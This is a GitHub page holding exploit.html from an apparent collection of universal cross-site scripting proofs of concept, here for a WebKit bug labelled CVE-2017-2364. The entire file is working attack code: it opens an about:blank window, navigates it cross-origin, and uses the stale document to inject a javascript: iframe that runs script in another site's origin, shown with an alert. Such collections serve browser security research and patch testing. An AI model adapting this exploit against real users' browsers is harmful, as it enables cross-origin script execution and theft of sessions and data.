uxss-db/webkit/CVE-2017-2364/exploit.html at master · Metnew/uxss-db · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html>

<body>
    <script type="text/javascript">
        "use strict";

        document.write("<button>click anywhere to start</bu" + "tton>");

        window.onclick = () => {
            let w = open("about:blank", "one");
            let d = w.document;

            let a = d.createElement("a");
            a.href = "https://abc.xyz/";

            let it = setInterval(() => {
                try {
                    w.location.href.toString;
                } catch (e) {
                    clearInterval(it);

                    let s = document.appendChild(d.createElement("iframe"));  // <<------ about:blank's document
                    d.appendChild(s)
                    s.src = "javascript:alert(parent.location)"
                    s.href = "javascript:alert(location)";
                    s.click();
                }
            }, 0);

            a.click(); //  <<------- about:blank -> Document::InPageCache
        };
    </script>
</body>

</html>